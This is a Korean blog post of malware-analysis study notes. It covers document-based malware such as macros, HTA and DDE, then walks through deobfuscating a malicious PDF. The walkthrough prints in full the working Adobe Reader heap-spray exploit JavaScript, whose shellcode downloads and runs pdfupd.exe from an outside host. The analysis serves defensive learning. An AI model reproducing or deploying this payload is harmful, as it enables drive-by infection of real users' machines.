분석 전 이론

  • 윈도우의 고질적인 문제: 확장자 의존 구조
    Windows 시스템은 파일을 어떤 응용 프로그램으로 열어야 할지 결정할 때, 대부분 파일 확장자(extension) 에 의존한다. 따라서

    예시)
    .txt → 메모장
    .docx → Word
    .pdf → PDF 리더

그럼 리눅스는 어떻게 판단하나? -> 시그니처를 확인한다!
악성코드 분석을 하다보면 무언가를 압축 또는 암호화/난독화해서 가지고 있다가 실행하면 드랍하는 경우가 있다. 드랍되는 파일을 분석할때 제일 처음 하는게 일단 시그니처를 확인한다. MZ면 PE파일 PK면 zip.. 등등
또한, 악성코드 분석 시 악성코드가 로컬에서 실수로 실행하지 않도록 확장자를 의도적으로 날려놓기도 한다.
예) malware.exe -> malware.exe- or malware.ex 등등... 개인 스타일따라 편한걸로 하자

TrID를 이용한 파일 포멧 확인
만약 HxD에서 시그니처를 날리면 감지하지 못한다.

문서형 악성코드는 대표적으로 3가지 종류가 있다.

  • Macro
    • 대상 - 주로 MS Word, Excel, PowerPoint 등 Office 문서
    • 방식 - 문서 안에 포함된 VBA 매크로 코드가 악성 행위를 수행
      사용자가 문서를 열고 “콘텐츠 사용(매크로 활성화)”를 누르면 실행됨
    • 특징 - 실행되면 추가 악성코드 다운로드, 명령 실행, 레지스트리 수정 등 가능
  • HTA(HTML Application)
    • 방식 - 문서(Word/Excel 등)에서 스크립트나 링크를 이용해 .hta 파일을 실행
    • 특징 - 스크립트 기반이라 다운로드/명령 실행 등의 자동화가 쉬움
  • DDE(Dynamic Data Exchange)
    • 방식 - 문서 안에 DDE 필드를 심어두고, 문서를 열거나 갱신할 때
      명령어(Command) 를 실행하게 악용
      매크로를 사용하지 않아도, DDE를 통해 cmd.exe, powershell.exe 등을 호출 가능
    • 특징 - 보안 솔루션이나 사용자 입장에서 매크로 비활성화만으로는 막기 어려움

문서형 악성코드들은 실제 악성 행위를 하는 파일을 드랍하는 역할을 많이 하는데 해당 부분 분석을 위해 Stub Code에 대해 간략히 알아보자

  • Stub Code란?
    • 본체(payload)를 대신해서 먼저 실행되는 코드
    • 환경 확인, 암호화/압축된 본문(payload) 복호화·풀기, 복호화된 실제 악성 코드 실행
    • 주로 패커, 드로퍼에서 자주 보임

본격적으로 분석을 진행하려고 하면 어떤 과정을 거쳐서 해야할까?
정답은 없지만 보통 본격적인 분석에 들어가기 전 파일에 대한 정보를 먼저 확인한다.
ex) 시그니처 확인, virustotal에서 분석된적 있는지 확인, 해쉬값 확인, 패킹여부 확인, string 확인 등...
해당과정을 통해 얻은 정보는 이후 코드레벨에서 분석/동적 분석을 원할하게 해주는 힌트가 된다.
이후 악성코드에 따라 적절히 정적분석(코드)+동적분석을 진행한다.

주의할점은 악성코드를 분석할때 기본적으로 가상머신 위에서 하는 것을 원칙으로 하며 특히나 동적분석을 할떄(ex) 디버거 활용) 로컬에서 실행하면 안된다.

간단한 문서형 악성코드를 분석해보자

exiftool

peepdf

object가 여러개 보인다.
object 5를 보면 A라 명시하고 6을 가리킨다.
object 6를 보면 111611을 가리킨다.

111611을 보면 뭔가 코드같은게 보인다. js로 저장하자


js를 분석해보면 주석이 들어가있다 → 쓰레기값

쓰레기값 제거해보면 코드를 확인할 수 있다.
문자열을 디코딩해서 eval로 실행하는 코드다.

pdfdumper를 이용해서 분석

find/replace를 통해 z를 %로 변환

%66%75%6e%63%74%69%6f%6e%20%61%28%29%7b%75%74%69%6c%2e%70%72%69%6e%74%64%28%27%70%40%31%31%31%31%31%31%31%31%31%31%31%31%31%31%31%31%31%31%31%31%31%31%31%31%20%3a%20%79%79%79%79%31%31%31%27%2c%20%6e%65%77%20%44%61%74%65%28%29%29%3b%7d%76%61%72%20%68%20%3d%20%61%70%70%2e%70%6c%75%67%49%6e%73%3b%66%6f%72%20%28%76%61%72%20%66%3d%30%3b%20%66%20%3c%20%68%2e%6c%65%6e%67%74%68%3b%20%66%2b%2b%29%7b%69%66%20%28%68%5b%66%5d%2e%6e%61%6d%65%3d%3d%27%45%53%63%72%69%70%74%27%29%7b%76%61%72%20%69%3d%68%5b%66%5d%2e%76%65%72%73%69%6f%6e%3b%7d%7d%69%66%28%28%69%3e%38%2e%31%32%29%26%26%28%69%3c%38%2e%32%29%29%7b%63%3d%6e%65%77%20%41%72%72%61%79%28%29%3b%76%61%72%20%64%20%3d%20%75%6e%65%73%63%61%70%65%28%27%25%75%39%30%39%30%25%75%39%30%39%30%27%29%3b%76%61%72%20%65%20%3d%20%75%6e%65%73%63%61%70%65%28%27%25%75%35%33%35%30%25%75%35%32%35%31%25%75%35%37%35%36%25%75%39%63%35%35%25%75%30%30%65%38%25%75%30%30%30%30%25%75%35%64%30%30%25%75%65%64%38%33%25%75%33%31%30%64%25%75%36%34%63%30%25%75%34%30%30%33%25%75%37%38%33%30%25%75%38%62%30%63%25%75%30%63%34%30%25%75%37%30%38%62%25%75%61%64%31%63%25%75%34%30%38%62%25%75%65%62%30%38%25%75%38%62%30%39%25%75%33%34%34%30%25%75%34%30%38%64%25%75%38%62%37%63%25%75%33%63%34%30%25%75%35%37%35%36%25%75%35%65%62%65%25%75%30%30%30%31%25%75%30%31%30%30%25%75%62%66%65%65%25%75%30%31%34%65%25%75%30%30%30%30%25%75%65%66%30%31%25%75%64%36%65%38%25%75%30%30%30%31%25%75%35%66%30%30%25%75%38%39%35%65%25%75%38%31%65%61%25%75%35%65%63%32%25%75%30%30%30%31%25%75%35%32%30%30%25%75%38%30%36%38%25%75%30%30%30%30%25%75%66%66%30%30%25%75%34%65%39%35%25%75%30%30%30%31%25%75%38%39%30%30%25%75%38%31%65%61%25%75%35%65%63%32%25%75%30%30%30%31%25%75%33%31%30%30%25%75%30%31%66%36%25%75%38%61%63%32%25%75%33%35%39%63%25%75%30%32%36%33%25%75%30%30%30%30%25%75%66%62%38%30%25%75%37%34%30%30%25%75%38%38%30%36%25%75%33%32%31%63%25%75%65%62%34%36%25%75%63%36%65%65%25%75%33%32%30%34%25%75%38%39%30%30%25%75%38%31%65%61%25%75%34%35%63%32%25%75%30%30%30%32%25%75%35%32%30%30%25%75%39%35%66%66%25%75%30%31%35%32%25%75%30%30%30%30%25%75%65%61%38%39%25%75%63%32%38%31%25%75%30%32%35%30%25%75%30%30%30%30%25%75%35%30%35%32%25%75%39%35%66%66%25%75%30%31%35%36%25%75%30%30%30%30%25%75%30%30%36%61%25%75%30%30%36%61%25%75%65%61%38%39%25%75%63%32%38%31%25%75%30%31%35%65%25%75%30%30%30%30%25%75%38%39%35%32%25%75%38%31%65%61%25%75%37%38%63%32%25%75%30%30%30%32%25%75%35%32%30%30%25%75%30%30%36%61%25%75%64%30%66%66%25%75%30%35%36%61%25%75%65%61%38%39%25%75%63%32%38%31%25%75%30%31%35%65%25%75%30%30%30%30%25%75%66%66%35%32%25%75%35%61%39%35%25%75%30%30%30%31%25%75%38%39%30%30%25%75%38%31%65%61%25%75%35%65%63%32%25%75%30%30%30%31%25%75%35%32%30%30%25%75%38%30%36%38%25%75%30%30%30%30%25%75%66%66%30%30%25%75%34%65%39%35%25%75%30%30%30%31%25%75%38%39%30%30%25%75%38%31%65%61%25%75%35%65%63%32%25%75%30%30%30%31%25%75%33%31%30%30%25%75%30%31%66%36%25%75%38%61%63%32%25%75%33%35%39%63%25%75%30%32%36%65%25%75%30%30%30%30%25%75%66%62%38%30%25%75%37%34%30%30%25%75%38%38%30%36%25%75%33%32%31%63%25%75%65%62%34%36%25%75%63%36%65%65%25%75%33%32%30%34%25%75%38%39%30%30%25%75%38%31%65%61%25%75%34%35%63%32%25%75%30%30%30%32%25%75%35%32%30%30%25%75%39%35%66%66%25%75%30%31%35%32%25%75%30%30%30%30%25%75%65%61%38%39%25%75%63%32%38%31%25%75%30%32%35%30%25%75%30%30%30%30%25%75%35%30%35%32%25%75%39%35%66%66%25%75%30%31%35%36%25%75%30%30%30%30%25%75%30%30%36%61%25%75%30%30%36%61%25%75%65%61%38%39%25%75%63%32%38%31%25%75%30%31%35%65%25%75%30%30%30%30%25%75%38%39%35%32%25%75%38%31%65%61%25%75%61%36%63%32%25%75%30%30%30%32%25%75%35%32%30%30%25%75%30%30%36%61%25%75%64%30%66%66%25%75%30%35%36%61%25%75%65%61%38%39%25%75%63%32%38%31%25%75%30%31%35%65%25%75%30%30%30%30%25%75%66%66%35%32%25%75%35%61%39%35%25%75%30%30%30%31%25%75%39%64%30%30%25%75%35%66%35%64%25%75%35%61%35%65%25%75%35%62%35%39%25%75%63%33%35%38%25%75%30%30%30%30%25%75%30%30%30%30%25%75%30%30%30%30%25%75%30%30%30%30%25%75%30%30%30%30%25%75%30%30%30%30%25%75%30%30%30%30%25%75%30%30%30%30%25%75%36%35%34%37%25%75%35%34%37%34%25%75%36%64%36%35%25%75%35%30%37%30%25%75%37%34%36%31%25%75%34%31%36%38%25%75%34%63%30%30%25%75%36%31%36%66%25%75%34%63%36%34%25%75%36%32%36%39%25%75%36%31%37%32%25%75%37%39%37%32%25%75%30%30%34%31%25%75%36%35%34%37%25%75%35%30%37%34%25%75%36%66%37%32%25%75%34%31%36%33%25%75%36%34%36%34%25%75%36%35%37%32%25%75%37%33%37%33%25%75%35%37%30%30%25%75%36%65%36%39%25%75%37%38%34%35%25%75%36%33%36%35%25%75%62%62%30%30%25%75%66%32%38%39%25%75%66%37%38%39%25%75%63%30%33%30%25%75%37%35%61%65%25%75%32%39%66%64%25%75%38%39%66%37%25%75%33%31%66%39%25%75%62%65%63%30%25%75%30%30%33%63%25%75%30%30%30%30%25%75%62%35%30%33%25%75%30%32%31%62%25%75%30%30%30%30%25%75%61%64%36%36%25%75%38%35%30%33%25%75%30%32%31%62%25%75%30%30%30%30%25%75%37%30%38%62%25%75%38%33%37%38%25%75%31%63%63%36%25%75%62%35%30%33%25%75%30%32%31%62%25%75%30%30%30%30%25%75%62%64%38%64%25%75%30%32%31%66%25%75%30%30%30%30%25%75%30%33%61%64%25%75%31%62%38%35%25%75%30%30%30%32%25%75%61%62%30%30%25%75%30%33%61%64%25%75%31%62%38%35%25%75%30%30%30%32%25%75%35%30%30%30%25%75%61%64%61%62%25%75%38%35%30%33%25%75%30%32%31%62%25%75%30%30%30%30%25%75%35%65%61%62%25%75%64%62%33%31%25%75%35%36%61%64%25%75%38%35%30%33%25%75%30%32%31%62%25%75%30%30%30%30%25%75%63%36%38%39%25%75%64%37%38%39%25%75%66%63%35%31%25%75%61%36%66%33%25%75%37%34%35%39%25%75%35%65%30%34%25%75%65%62%34%33%25%75%35%65%65%39%25%75%64%31%39%33%25%75%30%33%65%30%25%75%32%37%38%35%25%75%30%30%30%32%25%75%33%31%30%30%25%75%39%36%66%36%25%75%61%64%36%36%25%75%65%30%63%31%25%75%30%33%30%32%25%75%31%66%38%35%25%75%30%30%30%32%25%75%38%39%30%30%25%75%61%64%63%36%25%75%38%35%30%33%25%75%30%32%31%62%25%75%30%30%30%30%25%75%65%62%63%33%25%75%30%30%31%30%25%75%30%30%30%30%25%75%30%30%30%30%25%75%30%30%30%30%25%75%30%30%30%30%25%75%30%30%30%30%25%75%30%30%30%30%25%75%30%30%30%30%25%75%38%39%30%30%25%75%31%62%38%35%25%75%30%30%30%32%25%75%35%36%30%30%25%75%65%38%35%37%25%75%66%66%35%38%25%75%66%66%66%66%25%75%35%65%35%66%25%75%30%31%61%62%25%75%38%30%63%65%25%75%62%62%33%65%25%75%30%32%37%34%25%75%65%64%65%62%25%75%35%35%63%33%25%75%34%63%35%32%25%75%34%66%34%64%25%75%32%65%34%65%25%75%34%63%34%34%25%75%30%30%34%63%25%75%35%32%35%35%25%75%34%34%34%63%25%75%37%37%36%66%25%75%36%63%36%65%25%75%36%31%36%66%25%75%35%34%36%34%25%75%34%36%36%66%25%75%36%63%36%39%25%75%34%31%36%35%25%75%37%30%30%30%25%75%36%36%36%34%25%75%37%30%37%35%25%75%32%65%36%34%25%75%37%38%36%35%25%75%30%30%36%35%25%75%37%32%36%33%25%75%37%33%36%31%25%75%32%65%36%38%25%75%36%38%37%30%25%75%30%30%37%30%25%75%37%34%36%38%25%75%37%30%37%34%25%75%32%66%33%61%25%75%33%31%32%66%25%75%33%31%33%31%25%75%36%37%32%65%25%75%37%33%36%66%25%75%36%36%36%34%25%75%36%34%37%33%25%75%36%31%36%61%25%75%32%65%37%33%25%75%36%66%36%33%25%75%32%66%36%64%25%75%32%65%36%63%25%75%36%38%37%30%25%75%33%66%37%30%25%75%33%64%36%39%25%75%33%36%33%31%25%75%39%30%30%30%27%29%3b%77%68%69%6c%65%28%64%2e%6c%65%6e%67%74%68%20%3c%3d%20%30%78%38%30%30%30%29%7b%64%2b%3d%64%3b%7d%64%3d%64%2e%73%75%62%73%74%72%28%30%2c%30%78%38%30%30%30%20%2d%20%65%2e%6c%65%6e%67%74%68%29%3b%66%6f%72%28%66%3d%30%3b%66%3c%32%39%30%30%3b%66%2b%2b%29%20%7b%63%5b%66%5d%3d%64%20%2b%20%65%3b%7d%61%28%29%3b%61%28%29%3b%74%72%79%20%7b%74%68%69%73%2e%6d%65%64%69%61%2e%6e%65%77%50%6c%61%79%65%72%28%6e%75%6c%6c%29%3b%7d%20%63%61%74%63%68%28%65%29%20%7b%7d%61%28%29%3b%7d

이후 해당 내용을 url decode하면

function a(){util.printd('p@111111111111111111111111 : yyyy111', new Date());}var h = app.plugIns;for (var f=0; f < h.length; f++){if (h[f].name=='EScript'){var i=h[f].version;}}if((i>8.12)&&(i<8.2)){c=new Array();var d = unescape('%u9090%u9090');var e = unescape('%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u312f%u3131%u672e%u736f%u6664%u6473%u616a%u2e73%u6f63%u2f6d%u2e6c%u6870%u3f70%u3d69%u3631%u9000');while(d.length <= 0x8000){d+=d;}d=d.substr(0,0x8000 - e.length);for(f=0;f<2900;f++) {c[f]=d + e;}a();a();try {this.media.newPlayer(null);} catch(e) {}a();}

%u형태의 값이 보이는데 유니코드다 변환해주자
url에서 파일을 다운 받아오는 기능이 있다는 것을 확인할 수 있다. → dropper 임
LoadLibrary 이용해서 파일을 다운받는다. ( pdfupd.exe, crash.php )

정석적으로 하나씩 까보면서 분석했다
근데 생각해보면 지금 현재 환경은 가상머신이다. 만약 C2가 살아있다는 가정하게 dropper의 경우 그냥 스냅샷 떠놓고 냅다 실행시키고 드랍된 파일 보는것도... 괜찮은 방법이다.
알맹이가 인포스틸러든 랜섬웨어든 가상머신이면 가상머신의 취약점을 이용해서 로컬로 escape하는 악성코드가 아닌한 안전하니까 그냥 process monitor, wireshark같은거 켜두고 냅다 실행해서 드랍된 파일 위치 확인하고 알맹이를 바로 분석하면 시간을 아낄수 있다.

문서형 악성코드에 대해 수업을 듣다 보니 이전에 분석을 시도했었던 Emotet 악성코드가 생각난다.
MaaS 특성상 변종이 많아 여러 버전이 있지만 이전에 분석했던 Emotet은 word로 파일을 drop하는 형태였다. 이전에는 dropper 부분을 어떻게 접근할 지도 몰라 어떻게 그냥 payload만 분석했었는데 이번기회에 다시 해당 바이너리를 dropper 부터 payload까지 전체적으로 완벽하게 분석해보는 것도 좋을 것 같다...

0개의 댓글